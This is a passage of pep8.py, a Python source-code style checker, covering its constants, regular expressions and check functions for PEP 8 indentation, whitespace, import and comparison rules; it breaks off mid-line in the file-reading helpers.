text
stringlengths
5.09k
178k
domain
stringclasses
106 values
#!/usr/bin/env python # pep8.py - Check Python source code formatting, according to PEP 8 # Copyright (C) 2006-2009 Johann C. Rocholl <johann@rocholl.net> # Copyright (C) 2009-2014 Florent Xicluna <florent.xicluna@gmail.com> # Copyright (C) 2014 Ian Lee <ianlee1521@gmail.com> # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including without limitation the rights to use, copy, modify, merge, # publish, distribute, sublicense, and/or sell copies of the Software, # and to permit persons to whom the Software is furnished to do so, # subject to the following conditions: # # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS # BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN # ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN # CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. r""" Check Python source code formatting, according to PEP 8. For usage and a list of options, try this: $ python pep8.py -h This program and its regression test suite live here: http://github.com/jcrocholl/pep8 Groups of errors and warnings: E errors W warnings 100 indentation 200 whitespace 300 blank lines 400 imports 500 line length 600 deprecation 700 statements 900 syntax error """ from __future__ import with_statement import os import sys import re import time import inspect import keyword import tokenize from optparse import OptionParser from fnmatch import fnmatch try: from configparser import RawConfigParser from io import TextIOWrapper except ImportError: from ConfigParser import RawConfigParser __version__ = '1.6.0a0' DEFAULT_EXCLUDE = '.svn,CVS,.bzr,.hg,.git,__pycache__,.tox' DEFAULT_IGNORE = 'E121,E123,E126,E226,E24,E704' try: if sys.platform == 'win32': DEFAULT_CONFIG = os.path.expanduser(r'~\.pep8') else: DEFAULT_CONFIG = os.path.join(os.getenv('XDG_CONFIG_HOME') or os.path.expanduser('~/.config'), 'pep8') except ImportError: DEFAULT_CONFIG = None PROJECT_CONFIG = ('setup.cfg', 'tox.ini', '.pep8') TESTSUITE_PATH = os.path.join(os.path.dirname(__file__), 'testsuite') MAX_LINE_LENGTH = 150 REPORT_FORMAT = { 'default': '%(path)s:%(row)d:%(col)d: %(code)s %(text)s', 'pylint': '%(path)s:%(row)d: [%(code)s] %(text)s', } PyCF_ONLY_AST = 1024 SINGLETONS = frozenset(['False', 'None', 'True']) KEYWORDS = frozenset(keyword.kwlist + ['print']) - SINGLETONS UNARY_OPERATORS = frozenset(['>>', '**', '*', '+', '-']) ARITHMETIC_OP = frozenset(['**', '*', '/', '//', '+', '-']) WS_OPTIONAL_OPERATORS = ARITHMETIC_OP.union(['^', '&', '|', '<<', '>>', '%']) WS_NEEDED_OPERATORS = frozenset([ '**=', '*=', '/=', '//=', '+=', '-=', '!=', '<>', '<', '>', '%=', '^=', '&=', '|=', '==', '<=', '>=', '<<=', '>>=', '=']) WHITESPACE = frozenset(' \t') NEWLINE = frozenset([tokenize.NL, tokenize.NEWLINE]) SKIP_TOKENS = NEWLINE.union([tokenize.INDENT, tokenize.DEDENT]) # ERRORTOKEN is triggered by backticks in Python 3 SKIP_COMMENTS = SKIP_TOKENS.union([tokenize.COMMENT, tokenize.ERRORTOKEN]) BENCHMARK_KEYS = ['directories', 'files', 'logical lines', 'physical lines'] INDENT_REGEX = re.compile(r'([ \t]*)') RAISE_COMMA_REGEX = re.compile(r'raise\s+\w+\s*,') RERAISE_COMMA_REGEX = re.compile(r'raise\s+\w+\s*,.*,\s*\w+\s*$') ERRORCODE_REGEX = re.compile(r'\b[A-Z]\d{3}\b') DOCSTRING_REGEX = re.compile(r'u?r?["\']') EXTRANEOUS_WHITESPACE_REGEX = re.compile(r'[[({] | []}),;:]') WHITESPACE_AFTER_COMMA_REGEX = re.compile(r'[,;:]\s*(?: |\t)') COMPARE_SINGLETON_REGEX = re.compile(r'\b(None|False|True)?\s*([=!]=)' r'\s*(?(1)|(None|False|True))\b') COMPARE_NEGATIVE_REGEX = re.compile(r'\b(not)\s+[^][)(}{ ]+\s+(in|is)\s') COMPARE_TYPE_REGEX = re.compile(r'(?:[=!]=|is(?:\s+not)?)\s*type(?:s.\w+Type' r'|\s*\(\s*([^)]*[^ )])\s*\))') KEYWORD_REGEX = re.compile(r'(\s*)\b(?:%s)\b(\s*)' % r'|'.join(KEYWORDS)) OPERATOR_REGEX = re.compile(r'(?:[^,\s])(\s*)(?:[-+*/|!<=>%&^]+)(\s*)') LAMBDA_REGEX = re.compile(r'\blambda\b') HUNK_REGEX = re.compile(r'^@@ -\d+(?:,\d+)? \+(\d+)(?:,(\d+))? @@.*$') # Work around Python < 2.6 behaviour, which does not generate NL after # a comment which is on a line by itself. COMMENT_WITH_NL = tokenize.generate_tokens(['#\n'].pop).send(None)[1] == '#\n' ############################################################################## # Plugins (check functions) for physical lines ############################################################################## def tabs_or_spaces(physical_line, indent_char): r"""Never mix tabs and spaces. The most popular way of indenting Python is with spaces only. The second-most popular way is with tabs only. Code indented with a mixture of tabs and spaces should be converted to using spaces exclusively. When invoking the Python command line interpreter with the -t option, it issues warnings about code that illegally mixes tabs and spaces. When using -tt these warnings become errors. These options are highly recommended! Okay: if a == 0:\n a = 1\n b = 1 E101: if a == 0:\n a = 1\n\tb = 1 """ indent = INDENT_REGEX.match(physical_line).group(1) for offset, char in enumerate(indent): if char != indent_char: return offset, "E101 indentation contains mixed spaces and tabs" def tabs_obsolete(physical_line): r"""For new projects, spaces-only are strongly recommended over tabs. Okay: if True:\n return W191: if True:\n\treturn """ indent = INDENT_REGEX.match(physical_line).group(1) if '\t' in indent: return indent.index('\t'), "W191 indentation contains tabs" def trailing_whitespace(physical_line): r"""Trailing whitespace is superfluous. The warning returned varies on whether the line itself is blank, for easier filtering for those who want to indent their blank lines. Okay: spam(1)\n# W291: spam(1) \n# W293: class Foo(object):\n \n bang = 12 """ physical_line = physical_line.rstrip('\n') # chr(10), newline physical_line = physical_line.rstrip('\r') # chr(13), carriage return physical_line = physical_line.rstrip('\x0c') # chr(12), form feed, ^L stripped = physical_line.rstrip(' \t\v') if physical_line != stripped: if stripped: return len(stripped), "W291 trailing whitespace" else: return 0, "W293 blank line contains whitespace" def trailing_blank_lines(physical_line, lines, line_number, total_lines): r"""Trailing blank lines are superfluous. Okay: spam(1) W391: spam(1)\n However the last line should end with a new line (warning W292). """ if line_number == total_lines: stripped_last_line = physical_line.rstrip() if not stripped_last_line: return 0, "W391 blank line at end of file" if stripped_last_line == physical_line: return len(physical_line), "W292 no newline at end of file" def maximum_line_length(physical_line, max_line_length, multiline): r"""Limit all lines to a maximum of 79 characters. There are still many devices around that are limited to 80 character lines; plus, limiting windows to 80 characters makes it possible to have several windows side-by-side. The default wrapping on such devices looks ugly. Therefore, please limit all lines to a maximum of 79 characters. For flowing long blocks of text (docstrings or comments), limiting the length to 72 characters is recommended. Reports error E501. """ line = physical_line.rstrip() length = len(line) if length > max_line_length and not noqa(line): # Special case for long URLs in multi-line docstrings or comments, # but still report the error when the 72 first chars are whitespaces. chunks = line.split() if ((len(chunks) == 1 and multiline) or (len(chunks) == 2 and chunks[0] == '#')) and \ len(line) - len(chunks[-1]) < max_line_length - 7: return if hasattr(line, 'decode'): # Python 2 # The line could contain multi-byte characters try: length = len(line.decode('utf-8')) except UnicodeError: pass if length > max_line_length: return (max_line_length, "E501 line too long " "(%d > %d characters)" % (length, max_line_length)) ############################################################################## # Plugins (check functions) for logical lines ############################################################################## def blank_lines(logical_line, blank_lines, indent_level, line_number, blank_before, previous_logical, previous_indent_level): r"""Separate top-level function and class definitions with two blank lines. Method definitions inside a class are separated by a single blank line. Extra blank lines may be used (sparingly) to separate groups of related functions. Blank lines may be omitted between a bunch of related one-liners (e.g. a set of dummy implementations). Use blank lines in functions, sparingly, to indicate logical sections. Okay: def a():\n pass\n\n\ndef b():\n pass Okay: def a():\n pass\n\n\n# Foo\n# Bar\n\ndef b():\n pass E301: class Foo:\n b = 0\n def bar():\n pass E302: def a():\n pass\n\ndef b(n):\n pass E303: def a():\n pass\n\n\n\ndef b(n):\n pass E303: def a():\n\n\n\n pass E304: @decorator\n\ndef a():\n pass """ if line_number < 3 and not previous_logical: return # Don't expect blank lines before the first line if previous_logical.startswith('@'): if blank_lines: yield 0, "E304 blank lines found after function decorator" elif blank_lines > 2 or (indent_level and blank_lines == 2): yield 0, "E303 too many blank lines (%d)" % blank_lines elif logical_line.startswith(('def ', 'class ', '@')): if indent_level: if not (blank_before or previous_indent_level < indent_level or DOCSTRING_REGEX.match(previous_logical)): yield 0, "E301 expected 1 blank line, found 0" elif blank_before != 2: yield 0, "E302 expected 2 blank lines, found %d" % blank_before def extraneous_whitespace(logical_line): r"""Avoid extraneous whitespace. Avoid extraneous whitespace in these situations: - Immediately inside parentheses, brackets or braces. - Immediately before a comma, semicolon, or colon. Okay: spam(ham[1], {eggs: 2}) E201: spam( ham[1], {eggs: 2}) E201: spam(ham[ 1], {eggs: 2}) E201: spam(ham[1], { eggs: 2}) E202: spam(ham[1], {eggs: 2} ) E202: spam(ham[1 ], {eggs: 2}) E202: spam(ham[1], {eggs: 2 }) E203: if x == 4: print x, y; x, y = y , x E203: if x == 4: print x, y ; x, y = y, x E203: if x == 4 : print x, y; x, y = y, x """ line = logical_line for match in EXTRANEOUS_WHITESPACE_REGEX.finditer(line): text = match.group() char = text.strip() found = match.start() if text == char + ' ': # assert char in '([{' yield found + 1, "E201 whitespace after '%s'" % char elif line[found - 1] != ',': code = ('E202' if char in '}])' else 'E203') # if char in ',;:' yield found, "%s whitespace before '%s'" % (code, char) def whitespace_around_keywords(logical_line): r"""Avoid extraneous whitespace around keywords. Okay: True and False E271: True and False E272: True and False E273: True and\tFalse E274: True\tand False """ for match in KEYWORD_REGEX.finditer(logical_line): before, after = match.groups() if '\t' in before: yield match.start(1), "E274 tab before keyword" elif len(before) > 1: yield match.start(1), "E272 multiple spaces before keyword" if '\t' in after: yield match.start(2), "E273 tab after keyword" elif len(after) > 1: yield match.start(2), "E271 multiple spaces after keyword" def missing_whitespace(logical_line): r"""Each comma, semicolon or colon should be followed by whitespace. Okay: [a, b] Okay: (3,) Okay: a[1:4] Okay: a[:4] Okay: a[1:] Okay: a[1:4:2] E231: ['a','b'] E231: foo(bar,baz) E231: [{'a':'b'}] """ line = logical_line for index in range(len(line) - 1): char = line[index] if char in ',;:' and line[index + 1] not in WHITESPACE: before = line[:index] if char == ':' and before.count('[') > before.count(']') and \ before.rfind('{') < before.rfind('['): continue # Slice syntax, no space required if char == ',' and line[index + 1] == ')': continue # Allow tuple with only one element: (3,) yield index, "E231 missing whitespace after '%s'" % char def indentation(logical_line, previous_logical, indent_char, indent_level, previous_indent_level): r"""Use 4 spaces per indentation level. For really old code that you don't want to mess up, you can continue to use 8-space tabs. Okay: a = 1 Okay: if a == 0:\n a = 1 E111: a = 1 E114: # a = 1 Okay: for item in items:\n pass E112: for item in items:\npass E115: for item in items:\n# Hi\n pass Okay: a = 1\nb = 2 E113: a = 1\n b = 2 E116: a = 1\n # b = 2 """ c = 0 if logical_line else 3 tmpl = "E11%d %s" if logical_line else "E11%d %s (comment)" if indent_level % 4: yield 0, tmpl % (1 + c, "indentation is not a multiple of four") indent_expect = previous_logical.endswith(':') if indent_expect and indent_level <= previous_indent_level: yield 0, tmpl % (2 + c, "expected an indented block") elif not indent_expect and indent_level > previous_indent_level: yield 0, tmpl % (3 + c, "unexpected indentation") def continued_indentation(logical_line, tokens, indent_level, hang_closing, indent_char, noqa, verbose): r"""Continuation lines indentation. Continuation lines should align wrapped elements either vertically using Python's implicit line joining inside parentheses, brackets and braces, or using a hanging indent. When using a hanging indent these considerations should be applied: - there should be no arguments on the first line, and - further indentation should be used to clearly distinguish itself as a continuation line. Okay: a = (\n) E123: a = (\n ) Okay: a = (\n 42) E121: a = (\n 42) E122: a = (\n42) E123: a = (\n 42\n ) E124: a = (24,\n 42\n) E125: if (\n b):\n pass E126: a = (\n 42) E127: a = (24,\n 42) E128: a = (24,\n 42) E129: if (a or\n b):\n pass E131: a = (\n 42\n 24) """ first_row = tokens[0][2][0] nrows = 1 + tokens[-1][2][0] - first_row if noqa or nrows == 1: return # indent_next tells us whether the next block is indented; assuming # that it is indented by 4 spaces, then we should not allow 4-space # indents on the final continuation line; in turn, some other # indents are allowed to have an extra 4 spaces. indent_next = logical_line.endswith(':') row = depth = 0 valid_hangs = (4,) if indent_char != '\t' else (4, 8) # remember how many brackets were opened on each line parens = [0] * nrows # relative indents of physical lines rel_indent = [0] * nrows # for each depth, collect a list of opening rows open_rows = [[0]] # for each depth, memorize the hanging indentation hangs = [None] # visual indents indent_chances = {} last_indent = tokens[0][2] visual_indent = None # for each depth, memorize the visual indent column indent = [last_indent[1]] if verbose >= 3: print(">>> " + tokens[0][4].rstrip()) for token_type, text, start, end, line in tokens: newline = row < start[0] - first_row if newline: row = start[0] - first_row newline = not last_token_multiline and token_type not in NEWLINE if newline: # this is the beginning of a continuation line. last_indent = start if verbose >= 3: print("... " + line.rstrip()) # record the initial indent. rel_indent[row] = expand_indent(line) - indent_level # identify closing bracket close_bracket = (token_type == tokenize.OP and text in ']})') # is the indent relative to an opening bracket line? for open_row in reversed(open_rows[depth]): hang = rel_indent[row] - rel_indent[open_row] hanging_indent = hang in valid_hangs if hanging_indent: break if hangs[depth]: hanging_indent = (hang == hangs[depth]) # is there any chance of visual indent? visual_indent = (not close_bracket and hang > 0 and indent_chances.get(start[1])) if close_bracket and indent[depth]: # closing bracket for visual indent if start[1] != indent[depth]: yield (start, "E124 closing bracket does not match " "visual indentation") elif close_bracket and not hang: # closing bracket matches indentation of opening bracket's line if hang_closing: yield start, "E133 closing bracket is missing indentation" elif indent[depth] and start[1] < indent[depth]: if visual_indent is not True: # visual indent is broken yield (start, "E128 continuation line " "under-indented for visual indent") elif hanging_indent or (indent_next and rel_indent[row] == 8): # hanging indent is verified if close_bracket and not hang_closing: yield (start, "E123 closing bracket does not match " "indentation of opening bracket's line") hangs[depth] = hang elif visual_indent is True: # visual indent is verified indent[depth] = start[1] elif visual_indent in (text, str): # ignore token lined up with matching one from a previous line pass else: # indent is broken if hang <= 0: error = "E122", "missing indentation or outdented" elif indent[depth]: error = "E127", "over-indented for visual indent" elif not close_bracket and hangs[depth]: error = "E131", "unaligned for hanging indent" else: hangs[depth] = hang if hang > 4: error = "E126", "over-indented for hanging indent" else: error = "E121", "under-indented for hanging indent" yield start, "%s continuation line %s" % error # look for visual indenting if (parens[row] and token_type not in (tokenize.NL, tokenize.COMMENT) and not indent[depth]): indent[depth] = start[1] indent_chances[start[1]] = True if verbose >= 4: print("bracket depth %s indent to %s" % (depth, start[1])) # deal with implicit string concatenation elif (token_type in (tokenize.STRING, tokenize.COMMENT) or text in ('u', 'ur', 'b', 'br')): indent_chances[start[1]] = str # special case for the "if" statement because len("if (") == 4 elif not indent_chances and not row and not depth and text == 'if': indent_chances[end[1] + 1] = True elif text == ':' and line[end[1]:].isspace(): open_rows[depth].append(row) # keep track of bracket depth if token_type == tokenize.OP: if text in '([{': depth += 1 indent.append(0) hangs.append(None) if len(open_rows) == depth: open_rows.append([]) open_rows[depth].append(row) parens[row] += 1 if verbose >= 4: print("bracket depth %s seen, col %s, visual min = %s" % (depth, start[1], indent[depth])) elif text in ')]}' and depth > 0: # parent indents should not be more than this one prev_indent = indent.pop() or last_indent[1] hangs.pop() for d in range(depth): if indent[d] > prev_indent: indent[d] = 0 for ind in list(indent_chances): if ind >= prev_indent: del indent_chances[ind] del open_rows[depth + 1:] depth -= 1 if depth: indent_chances[indent[depth]] = True for idx in range(row, -1, -1): if parens[idx]: parens[idx] -= 1 break assert len(indent) == depth + 1 if start[1] not in indent_chances: # allow to line up tokens indent_chances[start[1]] = text last_token_multiline = (start[0] != end[0]) if last_token_multiline: rel_indent[end[0] - first_row] = rel_indent[row] if indent_next and expand_indent(line) == indent_level + 4: pos = (start[0], indent[0] + 4) if visual_indent: code = "E129 visually indented line" else: code = "E125 continuation line" yield pos, "%s with same indent as next logical line" % code def whitespace_before_parameters(logical_line, tokens): r"""Avoid extraneous whitespace. Avoid extraneous whitespace in the following situations: - before the open parenthesis that starts the argument list of a function call. - before the open parenthesis that starts an indexing or slicing. Okay: spam(1) E211: spam (1) Okay: dict['key'] = list[index] E211: dict ['key'] = list[index] E211: dict['key'] = list [index] """ prev_type, prev_text, __, prev_end, __ = tokens[0] for index in range(1, len(tokens)): token_type, text, start, end, __ = tokens[index] if (token_type == tokenize.OP and text in '([' and start != prev_end and (prev_type == tokenize.NAME or prev_text in '}])') and # Syntax "class A (B):" is allowed, but avoid it (index < 2 or tokens[index - 2][1] != 'class') and # Allow "return (a.foo for a in range(5))" not keyword.iskeyword(prev_text)): yield prev_end, "E211 whitespace before '%s'" % text prev_type = token_type prev_text = text prev_end = end def whitespace_around_operator(logical_line): r"""Avoid extraneous whitespace around an operator. Okay: a = 12 + 3 E221: a = 4 + 5 E222: a = 4 + 5 E223: a = 4\t+ 5 E224: a = 4 +\t5 """ for match in OPERATOR_REGEX.finditer(logical_line): before, after = match.groups() if '\t' in before: yield match.start(1), "E223 tab before operator" elif len(before) > 1: yield match.start(1), "E221 multiple spaces before operator" if '\t' in after: yield match.start(2), "E224 tab after operator" elif len(after) > 1: yield match.start(2), "E222 multiple spaces after operator" def missing_whitespace_around_operator(logical_line, tokens): r"""Surround operators with a single space on either side. - Always surround these binary operators with a single space on either side: assignment (=), augmented assignment (+=, -= etc.), comparisons (==, <, >, !=, <=, >=, in, not in, is, is not), Booleans (and, or, not). - If operators with different priorities are used, consider adding whitespace around the operators with the lowest priorities. Okay: i = i + 1 Okay: submitted += 1 Okay: x = x * 2 - 1 Okay: hypot2 = x * x + y * y Okay: c = (a + b) * (a - b) Okay: foo(bar, key='word', *args, **kwargs) Okay: alpha[:-i] E225: i=i+1 E225: submitted +=1 E225: x = x /2 - 1 E225: z = x **y E226: c = (a+b) * (a-b) E226: hypot2 = x*x + y*y E227: c = a|b E228: msg = fmt%(errno, errmsg) """ parens = 0 need_space = False prev_type = tokenize.OP prev_text = prev_end = None for token_type, text, start, end, line in tokens: if token_type in SKIP_COMMENTS: continue if text in ('(', 'lambda'): parens += 1 elif text == ')': parens -= 1 if need_space: if start != prev_end: # Found a (probably) needed space if need_space is not True and not need_space[1]: yield (need_space[0], "E225 missing whitespace around operator") need_space = False elif text == '>' and prev_text in ('<', '-'): # Tolerate the "<>" operator, even if running Python 3 # Deal with Python 3's annotated return value "->" pass else: if need_space is True or need_space[1]: # A needed trailing space was not found yield prev_end, "E225 missing whitespace around operator" elif prev_text != '**': code, optype = 'E226', 'arithmetic' if prev_text == '%': code, optype = 'E228', 'modulo' elif prev_text not in ARITHMETIC_OP: code, optype = 'E227', 'bitwise or shift' yield (need_space[0], "%s missing whitespace " "around %s operator" % (code, optype)) need_space = False elif token_type == tokenize.OP and prev_end is not None: if text == '=' and parens: # Allow keyword args or defaults: foo(bar=None). pass elif text in WS_NEEDED_OPERATORS: need_space = True elif text in UNARY_OPERATORS: # Check if the operator is being used as a binary operator # Allow unary operators: -123, -x, +1. # Allow argument unpacking: foo(*args, **kwargs). if (prev_text in '}])' if prev_type == tokenize.OP else prev_text not in KEYWORDS): need_space = None elif text in WS_OPTIONAL_OPERATORS: need_space = None if need_space is None: # Surrounding space is optional, but ensure that # trailing space matches opening space need_space = (prev_end, start != prev_end) elif need_space and start == prev_end: # A needed opening space was not found yield prev_end, "E225 missing whitespace around operator" need_space = False prev_type = token_type prev_text = text prev_end = end def whitespace_around_comma(logical_line): r"""Avoid extraneous whitespace after a comma or a colon. Note: these checks are disabled by default Okay: a = (1, 2) E241: a = (1, 2) E242: a = (1,\t2) """ line = logical_line for m in WHITESPACE_AFTER_COMMA_REGEX.finditer(line): found = m.start() + 1 if '\t' in m.group(): yield found, "E242 tab after '%s'" % m.group()[0] else: yield found, "E241 multiple spaces after '%s'" % m.group()[0] def whitespace_around_named_parameter_equals(logical_line, tokens): r"""Don't use spaces around the '=' sign in function arguments. Don't use spaces around the '=' sign when used to indicate a keyword argument or a default parameter value. Okay: def complex(real, imag=0.0): Okay: return magic(r=real, i=imag) Okay: boolean(a == b) Okay: boolean(a != b) Okay: boolean(a <= b) Okay: boolean(a >= b) Okay: def foo(arg: int = 42): E251: def complex(real, imag = 0.0): E251: return magic(r = real, i = imag) """ parens = 0 no_space = False prev_end = None annotated_func_arg = False in_def = logical_line.startswith('def') message = "E251 unexpected spaces around keyword / parameter equals" for token_type, text, start, end, line in tokens: if token_type == tokenize.NL: continue if no_space: no_space = False if start != prev_end: yield (prev_end, message) if token_type == tokenize.OP: if text == '(': parens += 1 elif text == ')': parens -= 1 elif in_def and text == ':' and parens == 1: annotated_func_arg = True elif parens and text == ',' and parens == 1: annotated_func_arg = False elif parens and text == '=' and not annotated_func_arg: no_space = True if start != prev_end: yield (prev_end, message) if not parens: annotated_func_arg = False prev_end = end def whitespace_before_comment(logical_line, tokens): r"""Separate inline comments by at least two spaces. An inline comment is a comment on the same line as a statement. Inline comments should be separated by at least two spaces from the statement. They should start with a # and a single space. Each line of a block comment starts with a # and a single space (unless it is indented text inside the comment). Okay: x = x + 1 # Increment x Okay: x = x + 1 # Increment x Okay: # Block comment E261: x = x + 1 # Increment x E262: x = x + 1 #Increment x E262: x = x + 1 # Increment x E265: #Block comment E266: ### Block comment """ prev_end = (0, 0) for token_type, text, start, end, line in tokens: if token_type == tokenize.COMMENT: inline_comment = line[:start[1]].strip() if inline_comment: if prev_end[0] == start[0] and start[1] < prev_end[1] + 2: yield (prev_end, "E261 at least two spaces before inline comment") symbol, sp, comment = text.partition(' ') bad_prefix = symbol not in '#:' and (symbol.lstrip('#')[:1] or '#') if inline_comment: if bad_prefix or comment[:1] in WHITESPACE: yield start, "E262 inline comment should start with '# '" elif bad_prefix and (bad_prefix != '!' or start[0] > 1): if bad_prefix != '#': yield start, "E265 block comment should start with '# '" elif comment: yield start, "E266 too many leading '#' for block comment" elif token_type != tokenize.NL: prev_end = end def imports_on_separate_lines(logical_line): r"""Imports should usually be on separate lines. Okay: import os\nimport sys E401: import sys, os Okay: from subprocess import Popen, PIPE Okay: from myclas import MyClass Okay: from foo.bar.yourclass import YourClass Okay: import myclass Okay: import foo.bar.yourclass """ line = logical_line if line.startswith('import '): found = line.find(',') if -1 < found and ';' not in line[:found]: yield found, "E401 multiple imports on one line" def module_imports_on_top_of_file( logical_line, indent_level, checker_state, noqa): r"""Imports are always put at the top of the file, just after any module comments and docstrings, and before module globals and constants. Okay: import os Okay: # this is a comment\nimport os Okay: '''this is a module docstring'''\nimport os Okay: r'''this is a module docstring'''\nimport os Okay: try:\n import x\nexcept:\n pass\nelse:\n pass\nimport y Okay: try:\n import x\nexcept:\n pass\nfinally:\n pass\nimport y E402: a=1\nimport os E402: 'One string'\n"Two string"\nimport os E402: a=1\nfrom sys import x Okay: if x:\n import os """ def is_string_literal(line): if line[0] in 'uUbB': line = line[1:] if line and line[0] in 'rR': line = line[1:] return line and (line[0] == '"' or line[0] == "'") allowed_try_keywords = ('try', 'except', 'else', 'finally') if indent_level: # Allow imports in conditional statements or functions return if not logical_line: # Allow empty lines or comments return if noqa: return line = logical_line if line.startswith('import ') or line.startswith('from '): if checker_state.get('seen_non_imports', False): yield 0, "E402 module level import not at top of file" elif any(line.startswith(kw) for kw in allowed_try_keywords): # Allow try, except, else, finally keywords intermixed with imports in # order to support conditional importing return elif is_string_literal(line): # The first literal is a docstring, allow it. Otherwise, report error. if checker_state.get('seen_docstring', False): checker_state['seen_non_imports'] = True else: checker_state['seen_docstring'] = True else: checker_state['seen_non_imports'] = True def compound_statements(logical_line): r"""Compound statements (on the same line) are generally discouraged. While sometimes it's okay to put an if/for/while with a small body on the same line, never do this for multi-clause statements. Also avoid folding such long lines! Always use a def statement instead of an assignment statement that binds a lambda expression directly to a name. Okay: if foo == 'blah':\n do_blah_thing() Okay: do_one() Okay: do_two() Okay: do_three() E701: if foo == 'blah': do_blah_thing() E701: for x in lst: total += x E701: while t < 10: t = delay() E701: if foo == 'blah': do_blah_thing() E701: else: do_non_blah_thing() E701: try: something() E701: finally: cleanup() E701: if foo == 'blah': one(); two(); three() E702: do_one(); do_two(); do_three() E703: do_four(); # useless semicolon E704: def f(x): return 2*x E731: f = lambda x: 2*x """ line = logical_line last_char = len(line) - 1 found = line.find(':') while -1 < found < last_char: before = line[:found] if ((before.count('{') <= before.count('}') and # {'a': 1} (dict) before.count('[') <= before.count(']') and # [1:2] (slice) before.count('(') <= before.count(')'))): # (annotation) lambda_kw = LAMBDA_REGEX.search(before) if lambda_kw: before = line[:lambda_kw.start()].rstrip() if before[-1:] == '=' and isidentifier(before[:-1].strip()): yield 0, ("E731 do not assign a lambda expression, use a " "def") break if before.startswith('def '): yield 0, "E704 multiple statements on one line (def)" else: yield found, "E701 multiple statements on one line (colon)" found = line.find(':', found + 1) found = line.find(';') while -1 < found: if found < last_char: yield found, "E702 multiple statements on one line (semicolon)" else: yield found, "E703 statement ends with a semicolon" found = line.find(';', found + 1) def explicit_line_join(logical_line, tokens): r"""Avoid explicit line join between brackets. The preferred way of wrapping long lines is by using Python's implied line continuation inside parentheses, brackets and braces. Long lines can be broken over multiple lines by wrapping expressions in parentheses. These should be used in preference to using a backslash for line continuation. E502: aaa = [123, \\n 123] E502: aaa = ("bbb " \\n "ccc") Okay: aaa = [123,\n 123] Okay: aaa = ("bbb "\n "ccc") Okay: aaa = "bbb " \\n "ccc" """ prev_start = prev_end = parens = 0 for token_type, text, start, end, line in tokens: if start[0] != prev_start and parens and backslash: yield backslash, "E502 the backslash is redundant between brackets" if end[0] != prev_end: if line.rstrip('\r\n').endswith('\\'): backslash = (end[0], len(line.splitlines()[-1]) - 1) else: backslash = None prev_start = prev_end = end[0] else: prev_start = start[0] if token_type == tokenize.OP: if text in '([{': parens += 1 elif text in ')]}': parens -= 1 def comparison_to_singleton(logical_line, noqa): r"""Comparison to singletons should use "is" or "is not". Comparisons to singletons like None should always be done with "is" or "is not", never the equality operators. Okay: if arg is not None: E711: if arg != None: E711: if None == arg: E712: if arg == True: E712: if False == arg: Also, beware of writing if x when you really mean if x is not None -- e.g. when testing whether a variable or argument that defaults to None was set to some other value. The other value might have a type (such as a container) that could be false in a boolean context! """ match = not noqa and COMPARE_SINGLETON_REGEX.search(logical_line) if match: singleton = match.group(1) or match.group(3) same = (match.group(2) == '==') msg = "'if cond is %s:'" % (('' if same else 'not ') + singleton) if singleton in ('None',): code = 'E711' else: code = 'E712' nonzero = ((singleton == 'True' and same) or (singleton == 'False' and not same)) msg += " or 'if %scond:'" % ('' if nonzero else 'not ') yield match.start(2), ("%s comparison to %s should be %s" % (code, singleton, msg)) def comparison_negative(logical_line): r"""Negative comparison should be done using "not in" and "is not". Okay: if x not in y:\n pass Okay: assert (X in Y or X is Z) Okay: if not (X in Y):\n pass Okay: zz = x is not y E713: Z = not X in Y E713: if not X.B in Y:\n pass E714: if not X is Y:\n pass E714: Z = not X.B is Y """ match = COMPARE_NEGATIVE_REGEX.search(logical_line) if match: pos = match.start(1) if match.group(2) == 'in': yield pos, "E713 test for membership should be 'not in'" else: yield pos, "E714 test for object identity should be 'is not'" def comparison_type(logical_line): r"""Object type comparisons should always use isinstance(). Do not compare types directly. Okay: if isinstance(obj, int): E721: if type(obj) is type(1): When checking if an object is a string, keep in mind that it might be a unicode string too! In Python 2.3, str and unicode have a common base class, basestring, so you can do: Okay: if isinstance(obj, basestring): Okay: if type(a1) is type(b1): """ match = COMPARE_TYPE_REGEX.search(logical_line) if match: inst = match.group(1) if inst and isidentifier(inst) and inst not in SINGLETONS: return # Allow comparison for types which are not obvious yield match.start(), "E721 do not compare types, use 'isinstance()'" def python_3000_has_key(logical_line, noqa): r"""The {}.has_key() method is removed in Python 3: use the 'in' operator. Okay: if "alph" in d:\n print d["alph"] W601: assert d.has_key('alph') """ pos = logical_line.find('.has_key(') if pos > -1 and not noqa: yield pos, "W601 .has_key() is deprecated, use 'in'" def python_3000_raise_comma(logical_line): r"""When raising an exception, use "raise ValueError('message')". The older form is removed in Python 3. Okay: raise DummyError("Message") W602: raise DummyError, "Message" """ match = RAISE_COMMA_REGEX.match(logical_line) if match and not RERAISE_COMMA_REGEX.match(logical_line): yield match.end() - 1, "W602 deprecated form of raising exception" def python_3000_not_equal(logical_line): r"""New code should always use != instead of <>. The older syntax is removed in Python 3. Okay: if a != 'no': W603: if a <> 'no': """ pos = logical_line.find('<>') if pos > -1: yield pos, "W603 '<>' is deprecated, use '!='" def python_3000_backticks(logical_line): r"""Backticks are removed in Python 3: use repr() instead. Okay: val = repr(1 + 2) W604: val = `1 + 2` """ pos = logical_line.find('`') if pos > -1: yield pos, "W604 backticks are deprecated, use 'repr()'" ############################################################################## # Helper functions ############################################################################## if '' == ''.encode(): # Python 2: implicit encoding. def readlines(filename): """Read the source code.""" with open(filename, 'rU') as f: return f.readlines() isidentifier = re.compile(r'[a-zA-Z_]\w*$').match stdin_get_value = sys.stdin.read else: # Python 3 def readlines(filename): """Read the source code.""" try: with open(filename, 'rb') as f: (coding, lines) = tokenize.detect_encoding(f.readline) f = TextIOWrapper(f, coding, line_buffering=True) return [l.decode(coding) for l in lines] + f.readlines() except (LookupError, SyntaxError, UnicodeError): # Fall back if file encoding is improperly declared with open(filename, encoding='latin-1') as f: return f.readlines() isidentifier = str.isidentifier def stdin_get_value(): return TextIOWrapper(sys.stdin.buffer, 